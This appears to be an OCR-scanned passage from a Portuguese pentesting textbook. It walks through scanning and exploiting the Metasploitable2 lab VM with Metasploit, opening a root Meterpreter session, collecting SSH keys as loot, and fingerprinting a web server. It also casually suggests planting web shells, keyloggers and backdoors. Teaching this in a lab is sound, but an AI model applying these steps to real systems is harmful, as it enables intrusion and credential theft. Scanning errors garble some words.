[ ok ] Stopping Metasploit rpc server: prosvc.
[FAIL] Postgresql must be started before Metasploit ...
rootikali:~#
rootigkali:-# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.
root@kali:~#
rootikali:~# service metasploit restart
[ ok ] Stopping Metasploit worker: worker.
[ ok ] Stopping Metasploit web server: thin.
[ ok ] Stopping Metasploit rpc server: prosvc.
Configuring Metasploit...
Creating metasploit database user "msf3’...
Creating metasploit database 'msf3°...
insserv: warning: current start runlevel(s) (empty) of script "metasploit’
overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script "meta
splolt' overrides L5B defaults (0 1 6).
[ ok ] Starting Metasplolit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.
rooti@dkali:~#
rooti@kali:~#
root@kali:-¥#
root@kali:~#
root@kali:~# |

Figura 9.4 — Reiniciando o Metasploit.

Para finalizar o servigo (Figura 9.5):

service metasploit stop




ali:~# service metasploit stop
] Stopping Metasploit worker: worker.

] Stopping Metasploit web server: thin.
] Stopping Metasploit rpc server: prosvc.

ali:-¥

Figura 9.5 - Finalizando o servico Metasploit.

Atualizando o banco de dados

O Metasploit ndo é desenvolvido somente pela Rapid7; atualizagdes constantes sdo feitas em todos os
aspectos do programa pelos usuérios da comunidade. E recomendével atualizar o banco de dados do
Metasploit antes de cada uso. Ninguém acha que James Bond partiria para uma missao sem antes
conferir o seu Walther P35 e garantir que tivesse um cartucho cheio de balas. Felizmente para o
restante de nos, nao ha um periodo de espera de sete dias para novas atualizacées. Em um terminal,
digite:
msfupdate

Agora sente-se e espere. Sim, ¢ mesmo muito facil. Pegue as balas para a sua arma e dé inicio a missao.
Se ja estiver na interface web do Metasploit, o pentester deve selecionar Software Updates (Atualizacoes
de software) no canto superior direito da pagina do Metasploit. Na tela seguinte, deve selecionar Check
for Updates (Verificar atualizacoes).

Se houver atualiza¢des disponiveis, o0 Metasploit fara o download e as instalara imediatamente. Apds as
atualizagoes terem sido concluidas, é recomendavel reiniciar o servico Metasploit. Feche o navegador,
reinicie e, em seguida, reabra a interface web do Metasploit (Figura 9.6).
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Figura 9.6 — Login no Metasploit.

Scanning com o Metasploit

Agora que “Q” ja abasteceu o seu Aston Martin com muni¢do suficiente para matar um pequeno
exército cibernético e um Walther P35 confiavel estd travado e carregado, é hora de iniciar o scanning.
Apos fazer o login na interface web do Metasploit, uma pagina com “missdes” serd apresentada ao
pentester. Essa pagina contém uma lista dos projetos correntes, ou de pastas das missoes, os dossiés dos
alvos correntes e as possiveis vulnerabilidades descobertas. Na primeira vez que o pentester fizer o login,
0 Unico projeto listado serd o “default”. A medida que o pentester der inicio a novas missdes, novas
pastas de projeto poderao ser criadas ao clicar no botdo New Project (Novo projeto). Enquanto os
pentesters iniciantes estiverem se familiarizando com a interface do Metasploit, é aconselhavel usar o
projeto default. Isso permitira uma transicdo mais facil para as fun¢des avangadas, como trabalhar
diretamente com a interface ou importar resultados do Nmap ou do Nessus.

Apos abrir o projeto default, um pentester podera notar que o layout realmente esta de acordo com a
no¢do de um dossié para uma missdo, contendo areas de Discovery (Descobertas), Penetration
(Invasao), Evidence Collection (Conjunto de evidéncias), Cleanup (Limpeza) e uma lista de eventos
recentes para monitorar cada movimento (Figura 9.7).
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Figura 9.7 - Pdgina web do Metasploit.
Usando o Metasploit

As proximas se¢oes devem ser encaradas como um exercicio pratico para realizar o scan da maquina
virtual Metasploitable2, criada anteriormente neste livro. A obra assume que a madaquina virtual
Metasploitable2 esta configurada com o endereco IP 192.168.56.101 e que esta acessivel por meio da
interface de rede. O computador de ataque (ou seja, o Aston Martin) foi configurado com o endereco
IP 192.168.56.100.

Para iniciar o scanning de um host ou de uma rede, selecione o botao Scan... que esta na secao Discovery.
A secao Target Settings (Configuragdes do alvo) possui a mesma estrutura de entrada para inserir hosts,
grupos de hosts ou intervalos, exatamente como no Nmap e no Nessus. Um pentester pode inserir um
unico endereco IP, com ou sem a notagdo CIDR, listar um grupos de hosts, por exemplo,
192.168.1.100-200, ou pode inserir todo um intervalo, por exemplo, 192.168.1.0/24. Todos os demais
enderecos IP individuais, os grupos ou as redes devem ser inseridos na caixa Target addresses (Enderecos-
alvo) nas linhas subsequentes.

Os pentesters devem se familiarizar com determinados campos de Advanced Target Settings (Configuracoes
avancadas do alvo), que aparecerao apos clicar no botao Show Advanced Option (Mostrar op¢des avancadas)
no centro da pagina.

1. Excluded Addresses (Enderegos excluidos) — Qualquer enderego IP desse bloco ndo estara sujeito ao
scanning. Quando estiver em uma missdo, um pentester nao vai querer desperdigar tempo ao fazer
o scanning dele mesmo ou de seus aliados; por favor, faga isso somente nos alvos. Nao se esqueca de
inserir o endereco IP do computador de ataque e o endereco de qualquer colega de equipe nessa
caixa. Além do mais, o ROE de uma missdo pode especificar determinados hosts de produgio ou



hosts sensiveis que nao deverdo ser verificados. Certifique-se de definir como excluidos todos os
enderecos que estdo no intervalo especificado para o alvo, mas que nio devem ser considerados no
scan.

2. Perform Initial Portscan (Realizar scan inicial de portas) — Se essa é a primeira vez que um host ou uma
rede sdo sujeitos ao scanning, deixe essa caixa selecionada. Remova a selecdo em scans subsequentes
para garantir que nao haja perda de tempo.

3. Custom NMAP Arguments (Argumentos personalizados do Nmap) — Usado para portas obscuras, evasao
de IDS e outras situacdes que envolvam a necessidade de executar médulos NSE personalizados.
Um pentester pode especificar aqui as op¢des individuais.

4. Additional TCP Ports (Portas TCP adicionais) — Quando o scan para descobertas do Metasploit é
iniciado, portas bastante comuns sdo verificadas. Se, durante a fase de reconhecimento, um
pentester descobrir uma porta obscura executando uma aplica¢do, ela podera ser adicionada aqui
sem o uso de opgoes. Por exemplo, 2013, 2600, 31337.

5. Exclude TCP Ports (Excluir portas TCP) — O ROE pode autorizar Bond a ter determinados individuos
como alvo para obter informagdes, porém pode exigir que determinadas perguntas ndo sejam feitas.
Além disso, se o pentester estiver trabalhando em equipe, é possivel fazer uma divisdo na atribuicao
de portas de modo a agilizar o processo de scanning. Como ocorreu anteriormente, liste as portas
que devem ser excluidas das op¢coes do NMAP. Por exemplo, 2013, 2600, 31337.

6. Custom TCP Port Range (Intervalo personalizado de portas TCP) - Especialmente quando se trabalha
em equipe, separar a atribuicdo de portas pode aliviar o trabalho as vezes drduo de realizar o
scanning a procura de vulnerabilidades. Especifique os intervalos de portas com um hifen (-) entre a
porta de menor e de maior nimero. Por exemplo, (1-1024).

7. Custom TCP Source Port (Porta de origem TCP personalizada) — Até mesmo James Bond precisa usar
um disfarce de vez em quando. Especificar uma porta de origem diferente pode ser util para passar
pelos controles de seguranca e pelas listas de controle de acesso dos firewalls.

A missdo consiste em realizar o scan da maquina virtual Metasploitable2. Insira o endereco IP na caixa
Target addresses (Enderecos-alvo). Em seguida, clique no botdo Launch Scan (Iniciar o scan). Dependendo
da velocidade do computador do pentester e do estado da rede, esse processo pode levar certo tempo
para ser executado. Embora o Metasploit seja bastante eficiente, existe uma quantidade incrivel de
processos que serdo executados em background (Figura 9.8).
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Figura 9.8 — Scanning do Metasploitable2 concluido.

Apos o scan ter sido concluido, clique na aba Overview (Visao geral) da barra de manuten¢ao na parte
superior do site. A se¢ao Discovery mostra que um host foi verificado, ha mais de 30 servigos e pelo
menos uma vulnerabilidade. E interessante observar que esses resultados sio apenas de uma execucio
do Metasploit. Mais vulnerabilidades poderiam ter sido descobertas caso fossem realizados scans
personalizados. A verificacio de aderéncia também nao foi executada com o Nexpose nesse momento.

Experimente, curta e explore as falhas.

Clique na aba Analysis (Analise) da barra de manutencdo na parte superior do site. Nessa pagina, todos
os hosts verificados aparecerdo, juntamente com um resumo contendo os resultados do scanning.
Clique no endereco IP do host para obter mais informagdes (Figura 9.9).
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Figura 9.9 - Visualizagdo da aba Analysis (Andlise).

A figura 9.10 mostra uma separa¢do e uma pequena descri¢io dos servi¢os inicialmente identificados
pelo Metasploit. Ha seis se¢Oes principais no dossié associado a esse host em particular: Services
(Servigos), Vulnerabilities (Vulnerabilidades), File Shares (Compartilhamento de arquivos), Notes
(Observagoes), Credentials (Credenciais) e Modules (Modulos).

« Services — De modo muito semelhante a James Bond em uma missdo de reconhecimento, o host
forneceu uma tonelada de informagoes digitais sobre o que esperar inicialmente do sistema. A
expansdo dos dados na secio Service Information (Informacdes sobre o servico) faz com que o software,
os numeros de versdo e informagdes sensiveis sejam apresentados. Alguns dos servicos possuem
hiperlinks para registros proprios porque dados adicionais foram capturados e estdo disponiveis para
analise.

o Vulnerabilities — As vulnerabilidades nos hosts estao listadas na ordem em que estdo prestes a ser
exploradas. As vulnerabilidades incluidas nessa se¢io estdo diretamente relacionadas aos modulos
de exploits do Metasploit Framework.

o File Shares — (Se houver algum disponivel) Compartilhamentos divulgados sdo mostrados nessa parte
da interface. E importante analisar manualmente os logs de scanning no Metasploit para garantir
que nada foi deixado de lado. Os computadores Linux podem ter diretdrios “exportados” ou
“compartilhados”; contudo o Linux ndo os divulga como faz uma plataforma Microsoft. Esse é o
caso do Metasploitable2, em que a pasta root (/) e outras estdo disponiveis, mas nao sio listadas.

o Notes — Essa secdo lista qualquer tipo de configuragdo de seguranca, listas de usuarios, contas de
servicos, compartilhamentos e exportagdes descobertos durante o scanning. Em direcdo a parte
inferior, na se¢do Shares (Compartilhamentos), encontra-se um Easter egg interessante. Bom
divertimento aos pentesters que embarcarem nessa viagem.



o Credentials — Qualquer credencial capturada durante os scans sera listada nessa se¢cdo para que possa
ser analisada.

o Modules — Essa secao ndo corresponde somente as correlagdes diretas com os mddulos de exploit; ela
disponibiliza uma plataforma de lancamento ap6s o titulo de cada vulnerabilidade descoberta. Clicar
no hiperlink fard uma sessao ser automaticamente iniciada para efetuar uma tentativa de exploracio

de falhas do host.

Clique no hiperlink Launch (Disparar) ao lado da vulnerabilidade Exploit: Java RMI Server Insecure Default
Configuration Java Code Execution. O site mudard para uma pagina que descreve a vulnerabilidade em
detalhes, que é perfeita para um relatério minucioso de analise e, em seguida, os dados necessarios
serdo automaticamente preenchidos para prosseguir com a execuc¢io da vulnerabilidade. Por padrao, o
Metasploit tentara usar um payload genérico e o Meterpreter shellcode. Apds analisar as configuragoes,
clique no botao Run Module (Executar o modulo) na parte inferior (Figura 9.11).

Host 192.168.56.101 (metasploitable)

Discovery Time 2013-10-25 22:33:25 -0400
Operating System { Linux (Debian) VMWare
05 Flavar Debian
Ethemet Address 00:0C: 29:68:59:DC
Virual Environment  VidWare
Slatus Scanned
Comments Update Comments
Ay
Services Vulnerabilities File Shares Motes Credenlials Maodules

Aclive Services

MName Fornt Senvice Information
fio 21/ten 220 twsk TPd 2 3. 4Nx0d\x0a

Figura 9.10 - Resumo contido em Analysis para o alvo.
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Figura 9.11 - Iniciando um ataque.

Sucesso! Uma sessdo foi criada no host. Isso significa que o host foi comprometido com éxito e que a
vulnerabilidade foi explorada. A aba Sessions (Sessdes) da barra de manutencdo na parte superior
apresenta um numero 1 visivel ao lado do nome, indicando que podemos interagir com a sessdo
Meterpreter deixada no computador quando esse foi explorado. Clique na aba Sessions para ver todas as
sessOes ativas do Sr. Bond. A missdo ainda nao foi concluida (Figura 9.12).
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Figura 9.12 — Sessoes ativas.

Na pagina web correspondente a Sessions, todas as sessoes estao listadas, juntamente com o tipo de shell
disponivel para interagdo, além de haver uma descrigio que normalmente inclui a conta (ou o nivel) de
acesso disponivel. Clique no hiperlink Session 1 para iniciar uma intera¢gio baseada em web com o
Meterpreter shell.

Meterpreter — Gerenciamento de sessdo

Obrigado a “Q” e a equipe de desenvolvimento da Rapid7 por conceber um sistema tao simples. Um
pentester pode acessar um shell de comandos a partir daqui, se desejar; no entanto muitas das func¢oes
avangadas, como a criacdo de proxies como ponto de pivoteamento, estio atualmente disponiveis por
meio de botdes. As a¢des disponiveis podem agilizar o gerenciamento da explora¢ao de falhas.

Ha um equilibrio sutil entre tempo e execu¢ido que deve ser alcancado. Levando em considera¢io que
essas instrucoes referem-se somente a uma das vulnerabilidades da mdquina virtual Metasploitable2,
nao ha necessidade de se preocupar com o tempo; entretanto, assim como para Bond, o tempo pode ser
crucial em uma missdo de verdade. O excesso de passos incorretos pode provocar o disparo de alarmes,
enquanto a falta de acdo podera resultar na perda da sesséo.

Ao observar a figura 9.13, o pentester pode ver nao s6 as agdes disponiveis como também as abas
referentes ao historico da sessio e aos mddulos para a pds-exploracio de falhas. Qualquer agio
realizada nessa sessdo sera registrada para prover continuidade. Essas informagdes podem ser
exportadas no futuro, quando os relatérios forem criados.

Session 1 on 192.168.56.101

Session Type meierpreter (payload/java/meterpreterfreverse_tcp)
Infermation rool @ metasploitable

Attack Module  exploiv'mult/misc/java_rmi_server

Available Actions

=4 Collect System Data 1 \
— ¥ Collect system evidence and sensitive data (screenshots, passwords, system information)

= Access Filesystem Browse the remote filesystem and uplead, download, and delete files

e ricl Shell : : P
G UL = Interactl with a remole command shell on the target (advanced users)

Jo Create Proxy Pivot Pivol attacks using the remote host as a gateway (TCR/UDP)

v Create VPN Pivot Pivol traffic through the remote host (Ethemet/IP)

X Terminate Session Close this session. Further interaction reguires exploitation

% Session History || § Post-Exploitation Modules

History

Evert Time Event Tvpe Session Data
Figura 9.13 - Gerenciamento de sessdo.

Acdes em uma sessao



1. Collect System Data (Coletar dados de sistema) — Para coletar evidéncias do sistema e dados sensiveis
(capturas de tela, senhas, informag¢des de sistema). Se houvesse um recurso do tipo “compre
pronto”, seria representado por esse botio. O processo de obter uma captura de tela é uma
ferramenta muito eficiente para relatérios. De modo muito semelhante a Bond ao obter evidéncias
fotograficas para “M”, uma imagem vale mais do que mil palavras aos olhos dos gerentes. Nem toda
sessdo podera acessar uma conta root ou de administrador do dominio; desse modo, extrair
informacoes do sistema também é uma prioridade, pois proporciona uma compreensio mais
profunda ao pentester a respeito de outros itens existentes na rede, por exemplo, possiveis bancos de
dados, outras redes, e assim por diante.

2. Access File system (Acessar sistema de arquivos) — Para navegar pelo sistema de arquivos remoto e fazer
upload e download de arquivos e apaga-los. Lembrangas sdo boas, mas o que é digital é para
sempre. Backups, configura¢oes e documentagdes pessoais valem ouro. Se houver um servidor web
executando no computador, tente carregar um C99 shell, keyloggers, backdoors, cavalos de Troia e
outras ferramentas maravilhosas. Apenas um conselho: nao deixe um curriculo aqui.

3. Command Shell (Shell de comandos) - Para interagir com um shell de comandos remoto no alvo
(usuarios avancados). Se as contas root ou de administrador ndo puderem ser obtidas durante a
exploragdo de falhas, um pentester em algum momento tera de arregagar as mangas e pér a mao na
massa na linha de comando.

4. Create Proxy Pivot (Criar pivd proxy) — Para ataques com pivos usando o host remoto como gateway.
S6 porque Bond consegue invadir e obter acesso a um laboratorio subterraneo secreto néo significa
que ele simplesmente ira sorrir e em seguida deixar o local; ele ira explora-lo com mais cuidado. A
maquina virtual Metasploitable2 é um sistema isolado; no entanto, se fosse um sistema na periferia
de uma rede, esse host poderia se tornar uma base para o estabelecimento de uma estratégia e,
futuramente, poderia levar a outras maneiras de efetuar ataques em pontos mais internos do
sistema. A partir desse computador, a metodologia de hacking sera reiniciada, come¢ando pelo
reconhecimento.

5. Create VPN Pivot (Criar pivd VPN) — Para fazer o pivoteamento do trafego por meio do host remoto.
Nao ¢ muito diferente do botdo Create Proxy Pivot, exceto pelo fato de todo o trafego a partir de agora
ser transmitido por meio de um tinel VPN criptografado. Isso é bom especialmente para se desviar
de sistemas de detec¢ao de invasao.

6. Terminate Session (Finalizar sessdo) — Depois de tudo dito e feito, Bond conquista a garota no final e
sai da cena de acao. Esse botdo finaliza as sessdes, porém ird remover somente o Meterpreter shell.
Se o pentester deixar para tras qualquer arquivo, rootkit, keylogger etc., entao um ponto de
comprometimento no sistema serd mantido. Antes de finalizar uma sessdo, limpe os arquivos e
servicos apds ter concluido o teste.

Acesso ao sistema de arquivos

A figura 9.14 mostra que o botdo Access File system (Acessar o sistema de arquivos) do menu Available
Actions (Acdes disponiveis) foi selecionado. O pentester tera o mesmo nivel de acesso ao sistema de
arquivos proporcionado pela conta que foi comprometida. Supondo que o exploit Java executado tenha



resultado na obtencdo de acesso como root, entdo todo o sistema de arquivos estard comprometido e

pronto para ser pilhado.

. Project - default v Accou
[i] metasploit
SamEnunRy Overview Analysis Sessions Campaigns Web Apps Modules
Home default root @ metasploitable
':T'_I:I”‘:'!'Il Direclory
Mame Size Last Modified Available .

ﬁ] Back 1w Parent Directory

bin
boot
cdrom
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etc
hame
imitrd

lity

Shell de comandos

1969-12-31 19:00:00 -H500
2012-05-13 23:35:33 -0400
2012-05-13 23:36: 28 -0400
2010-03-16 18:55:51 -0400
20131026 011741 0400
2013-10-26 01:41:35 -0400
2010-04-16 02 160:02 -(400
2010-03-16 18:57:40 -0400
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Figura 9.14 - Acesso ao sistema de arquivos.

Na figura 9.15, o botdo Command Shell (Shell de comandos) do menu Available Actions foi selecionado. A
sessdo apresenta inicialmente um Meterpreter shell ao pentester, e nao um shell de linha de comando

Linux ou Windows. Até que um pentester se sinta a vontade com o Meterpreter shell, é aconselhavel

executar o comando de ajuda no prompt para se familiarizar com os comandos do shell. Para mergulhar

mais fundo no sistema e obter um shell direto no computador fisico, digite shell na interface de linha

de comando do Meterpreter.



Metasploit - Hdm::Session ID # 1 (162.168.56.101) root @ metasploitable

EXEcuTe CXECUTE A commana

getuid Get the user that the server is running as

ps List running processes '

shell Drop into a system command shell

sysinfo Gets information about the remote system, such as 05

ﬁtdapi: User interface Commands

Command Description

screenshot Grab a screenshot of the interactive desktop

Stdapi: Webcam Commands

record mic Record audio from the default microphone for X seconds

Meterpreter = help|

Figura 9.15 - Shell de comandos.

Médulos para pés-exploragdo de falhas

Esses mdodulos sio praticos para ter a mao e podem automatizar muitas das funcoes comuns necessarias
para facilitar a preservacio do acesso, por exemplo, para coletar senhas e certificados PKI, deixar
keyloggers e ouvir conversas por meio de um possivel microfone conectado. Os sistemas operacionais
suportados estdo listados do lado esquerdo, por mddulo. Clique no hiperlink do médulo a direita para
ativa-lo na sessao.

Como exemplo, va para Multi Gather OpenSSH PKI Credentials Collection e clique no hiperlink localizado a
direita da pagina web. Assim como ocorreu anteriormente com os modulos para exploragao de falhas,
uma visao geral do modulo estara disponivel, além de um botao Run Module (Executar o mddulo) na
parte inferior. Veja a figura 9.16.
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Post-Exploitatiorn
M This module will collect the contents of all users’ ssh directones on the targeted machine, Additionally, known
authorized_keys and any other files are also downloaded, This module is largely based on firefox_creds. b
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Advanced Optlons show
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Figura 9.16 — Multi Gather OpenSSH PKI.
Clique no botao Run Module. Veja a Figura 9.17.
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Figura 9.17 - Execu¢do do médulo.

Na figura 9.17, o pentester pode observar o processo de cdpia das credenciais PKI do SSH. Todos os
arquivos baixados serao armazenados no diretdrio /opt/metasploit/apps/pro/loot (Figura 9.18).
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root@kali:~# cat fopt/metasploit/apps/pro/loot/20131025225
20131025225758_default_192.168.56.101_ssh.authorized_k_587813.txt

20131025225759 default_192.168.56.101_ssh.id_dsa.pub_485524. txt
20131025225759_default_192.168.56.101_ssh.id_rsa_094838.txt
20131025225759_default_192.168.56.101_ssh.id_rsa.pub_647783.txt
20131025225800_default_192.168.56.101_ssh.id_dsa_271125.txt
20131025225800_default_192.168.56.101_ssh.known_hosts_858115.txt
20131025225801_default_192.168.56.101_ssh.authorized_k_673483.txt

rootigkali:~# cat fopt/metasploit/apps/pro/loot/20131025225758 default_192.168 .56
.101_ssh.authorized k 587813 .txt

ssh-dss AAAAB3NzaClkc3MAAACBANWgcbHvxF2YRXOgTizyoZazzHiUS5+63hKFOhzlch8dZQpFUSgGk
DkZ30rC4j rNgCXNDNS0RA4y LcNt078B/I4+5YCZ39faSiXIol fi8t0VWETtg3lkuv3eSVOzuSGeqZPHL
tep6iizQASyoClkCy jBswiH+cPBGSURPLXYL911rAAAAFQDL+pKrLy6vy9HCywXWZ/ jcPpPHEQAAATAG
t+cN3fDTIRRCYz/VmgfUsgWd jtZ06kvx3LB2T2Z1YVeXe7929 Weu9d30B+NeESEopMiWaTZTOWI+0kZ
xSAGyuTskuednvGCFxnDr58xalpfc5066R5 1 CSARMHUBWEW Ld3MYzsIN.qg TNAuoRadt IFwME X99KoLU
mLvNbPByEAAAAIBN fKRDwWM/OnEpdRTTsREhS9rALg6eDbLNbu/5goz f4Fv1Dt1lZmg5ZxtXeQtW5BYyorl
LRZ5/Y4pChRa01lbxTRSJah0RIk5wx AUPZ282N0T fzc JyV1Bo jMvP1lbAplpSiecCulGX7G04IeBSF 2T+
CketPOVrwOPvtUZUSDTrVICytg== user(imetasploitable

root@kali:~%

Figura 9.18 - Loot.

A maquina virtual Metasploitable2 esta propositadamente repleta de vulnerabilidades e ndo devera ser
usada nunca como um sistema operacional base. Reserve tempo para rever os recursos que acabaram de
ser apresentados e veja quantas vulnerabilidades podem ser encontradas.

Exploracao de falhas de servidor web e de aplicacdes web

Software é software. Ndo importa em que formato o cddigo da aplicagdo estd empacotado ou que
funcoes ele disponibiliza: as vulnerabilidades sempre podem estar presentes. As aplicacbes web nao sdo
diferentes, exceto pelo fato de os web services apresentarem mais pontos de inje¢do de cddigo
disponiveis ao publico na internet, o que torna possivel aos invasores obter um ponto de entrada em um
sistema de rede, desfigurar sites ou roubar informagdes sensiveis. Garantir a seguranca do sistema
operacional ndo basta. Se os proprios servigos que estiverem executando no servidor nao forem seguros,
a seguranga fisica, o tempo investido e a pratica de garantir a seguranga do sistema operacional de nada
irdo valer.

OWASP

O OWASP (Open Web Application Security Project) ¢ uma organizagio sem fins lucrativos que luta por
melhorias na seguranca de softwares. O OWASP disponibiliza uma lista anual contendo as dez
vulnerabilidades mais comuns na web. Em 2013, as dez principais vulnerabilidades eram:

e Al - Injection (Injecdo)



« Aqui estdo incluidas as inje¢des de SQL, de OS e de LDAP como um todo.

o A2 - Broken Authentication and Session Management (Autenticagdo e gerenciamento de sessdao
com falhas)

o A3 - Cross-Site Scripting (XSS)

« A4 - Insecure Direct Object References (Referéncias ndo seguras e diretas a objetos)

« A5 - Security Misconfigurations (Configuragdes incorretas de segurancga)

« A6 - Sensitive Data Exposure (Exposicao de dados sensiveis)

« A7 - Missing Function Level Access Controls (Auséncia de controles de acesso de nivel de funcio)
« A8 - Cross-Site Request Forgery (CSRF)

« A9 - Using Components with Known Vulnerabilities (Uso de componentes com vulnerabilidades
conhecidas)

o A10 - Unvalidated Redirects and Forwards (Redirecionamento e encaminhamentos sem validacio)
Mais informacoes estdo disponiveis em https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project.

Além de disponibilizar relatorios, o OWASP contribui para difundir conhecimentos por meio de grupos
de representantes locais constituidos por individuos da area de seguranca em cada regido. Os grupos de
representantes locais do OWASP estio presentes em todo o mundo. Esses grupos discutem
metodologias para testes, realizam treinamentos, desenvolvem aplicacdes web seguras, e assim por
diante. Tornar-se membro de um grupo local é tdo facil quanto comparecer as reunides do grupo.
Acesse o site do OWASP e clique no link chamado Chapters para procurar os grupos que estio em sua
regiao.

Testando aplicacoes web

O Kali Linux possui uma quantidade abundante de ferramentas prontamente disponiveis, mas o
verdadeiro poder dessas ferramentas se evidencia somente quando elas sio usadas de forma apropriada
e na ordem correta. Ao testar aplicagdes web, a metodologia de teste ndo é diferente para as trés
primeiras fases da metodologia de hacking: reconhecimento, scanning e explora¢io de falhas. Em
alguns casos, as fases quatro e cinco - preservagao do acesso e ocultagido das pistas, respectivamente —
sdo incluidas; no entanto esse nem sempre é o caso. Além do mais, toda pagina em um site deve ser
testada, e ndo apenas as homepages e os logins. S6 porque o login de um site é seguro nao significa que
a porta estara fechada e que o teste tenha terminado: encontre uma janela. Se a janela estiver trancada,
quebre-a com uma pedra. Com tantas vias para os invasores explorarem as falhas dos sites atualmente,
nenhuma pedra pode ser menosprezada durante os testes.

Passo 1 - Andlise manual

Um scan de portas pode informar que o servico HTTP na porta 80 esta ativo, mas isso nao significa
necessariamente que um site se encontra ld realmente. Abra um navegador e acesse o site para verificar
se um web service estd realmente servindo as paginas. Isso nao vale somente para a porta 80; um scan
de portas pode informar a existéncia de varios web services em varias portas além das portas 80 e 443.
Acesse todos os links em um site, pois pode ser que ja haja acesso disponivel a informagdes sensiveis. Se



informagoes forem solicitadas pelos controles de acesso, por exemplo, se uma janela popup pedir o
nome de um usuario e a senha, experimente usar um pequeno conjunto de palpites para as senhas (ndo
mais do que dez) ou tecle Esc para ver se é possivel passar diretamente pela autenticagdo. Abra o cddigo-
fonte de cada site e verifique as anotacoes feitas pelo desenvolvedor. O processo pode ser macante e
demorado, porém, em ultima instancia, nenhuma ferramenta automatizada é capaz de identificar todas
as vulnerabilidades. Uma andlise manual de todas as paginas web representa um passo inicial muito
importante.

Passo 2 - Fingerprinting (Identificagdo)
Uma analise manual de um site nem sempre informa qual é a aplicagio web, o servidor web e o sistema

operacional base. O fingerprinting pode ser usado para determinar todas as trés informacoes no Kali
Linux.

NetCat (nc)

O NetCat pode ser usado tanto como uma ferramenta de fingerprinting quanto como um dispositivo de
escuta para esperar conexoes de entrada. Para efetuar o fingerprinting de uma aplica¢ao web, a sintaxe
corresponde a:

nc {host} {porta}

:exemplo: nc 192.168.56.102 80
Esse comando fara o estabelecimento de uma conexdo com o servidor web que estd em 192.168.56.102,
porém nada sera retornado até que um comando seja enviado pela conexdo a esse servidor. Ha
diferentes técnicas de fingerprinting no NetCat. O exemplo a seguir retorna os resultados de uma
solicitagao simples e nos permite determinar o servidor web e seu sistema operacional. Inicialmente,
abra uma janela do terminal (Figura 9.19).

nc 192.168.56.102 80

Tecle Enter
HEAD / HTTP/1.0

Tecle Enter duas vezes.
A partir dos resultados retornados, podemos determinar que o servidor web é o Apache 2.2 executando
no Ubuntu Linux, com versio de PHP 5.2.4-2ubuntu5.10 instalada. Conhecer essas informacdes
ajudara um pentester a restringir melhor os possiveis ataques ao servidor web.
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Figura 9.19 - Fingerprinting com o NetCat.

Telnet (telnet)

Assim como ocorre com o NetCat, o Telnet pode ser usado exatamente da mesma maneira para
determinar informagoes sobre o sistema (Figura 9.20).

telnet {endere¢o IP} {porta}
:exemplo: telnet 192.168.56.102:80

File Edit View Search Terminal Help
~# telnet 192.168.56,102 80

Trying 192.168.5

Connected to 192

Escape character 1s '7]".

HEAD / HTTP/1.0

Host: 192.

HTTP/1.1 200 0K

late: 7 2013 23:14:37

; |
[

Content-Type: text/html

foreign host.

Figura 9.20 - Fingerprinting com o Telnet.

SSLScan (sslscan)

Quando os sites possuem certificados SSL, determinar qual é a criptografia SSL sendo usada, se houver,
é sempre uma boa ideia. O SSLscan consulta os servicos SSL para SSLv2, SSLv3 e TLSvl, determina
qualquer algoritmo de criptografia preferido e retorna o certificado SSL do servidor web. Esse
certificado pode ser usado em ataques mais sofisticados, que estao além do escopo deste livro.



sslscan {endere¢co IP}:{porta}
:exemplo: sslscan 192.168.56.102:8080

O Metasploitable2 nao possui nenhum servigo com SSL no momento.

Passo 3 - Scanning

O scanning automatico pode reduzir enormemente a quantidade de tempo necessaria para identificar
vulnerabilidades em qualquer sistema. Existem diversas aplicagdes projetadas para fazer o scan de
servidores web; ndo conte com apenas uma aplicacio. Nenhum sistema sozinho é capaz de incluir as
centenas de milhares de verificagdes de seguranga para identificar todas as vulnerabilidades do sistema.
Certifique-se de executar pelo menos duas ou trés dessas aplicacoes para obter uma boa base de
referéncia contendo as vulnerabilidades do sistema.

Ha alguns lideres no mercado de seguranga quanto se trata de scanning automatico. Gigantes como o
Nessus, o Retina e o WeblInspect sio bons programas, mas podem ser muito caros. O Kali Linux é
disponibilizado com varias alternativas leves e eficientes.

Arachni - Framework de scanner para seguranca de aplicacoes web (mais informagdes

eIIlhttp://www.arachni-scanner.com/)

O scanner de aplicagdes web Arachni é uma ferramenta cheia de recursos, executada a partir de uma
interface web muito semelhante a do Nessus da Tenable. Porém, de modo diferente do Nessus, o
Arachni pode realizar um scan somente em um host e em uma porta de cada vez. Se houver muitos
web services em execu¢do em um host, que nio sejam servidos pela mesma porta, entao scans repetidos
terdio de ser disparados separadamente. Por exemplo, se http://www.random-company.com/ estiver
hospedando um web service na porta 80 e o phpMyAdmin na porta 443 (HTTPS), o scanner Arachni
tera de ser executado duas vezes. Nao é um sistema do tipo “dispare e esqueca”. O Arachni também
tem uma estrutura altamente configuravel. Os plugins e as configuracbes do Arachni permitem um
scanning preciso e todos os plugins estdo habilitados por padrao. A geracdo de relatérios é muito
simples e esses podem ser formatados de acordo com varios tipos diferentes de saida.

Usando o scanner Arachni em aplica¢des web

Clique em Applications a Kali Linux a Web Applications a Web Vulnerability Scanners a arachnid_web (Aplicacoes a Kali
Linux a Aplicagdes web a Scanners de vulnerabilidades web a arachnid_web).

A janela aberta do terminal indica que o web service para o Arachni foi iniciado (Figura 9.21). Abra o
IceWeasel e va para http://127.0.01:4567 para acessar a webUI (Figura 9.22)
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Figura 9.21 - Iniciando o servigo Arachni.

Para iniciar um scan na maquina virtual Metasploitable2, digite http://192.168.56.102 na caixa de texto
para o URL e clique no botao Launch Scan (Iniciar scan), como mostrado na figura 9.23.

Sun Aug 18, 2:58 AM
i = Web Application Security Scanner Framework = lceweasal
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B Mast Visited™ [l Offensive Security " Kali Linux % Kali Docs [BEvplost-DB Wy Aircrack-ng
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Sedact o Dispatcher:
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':' Arachni - Web Applica

Figura 9.22 - Pdgina web do Arachni.
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« Average response time: 0.826257183098592s

o Timgd-0ut Fequests: O
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Scanner output: Results thus far:

@ 05 command injaction: Anak@ing response #26017... Totak S9
& 05 command injestion: Anak@ing rasponse #26016..
@ 05 command injaction: Anak@ing responsa #26015.,
@ 05 command injection: Analyzing response #26014...
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[1] HTTP PUT is enabled. { Severity: High )
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@ 05 command injection: Anakaing response #26011... 4 vy it EL
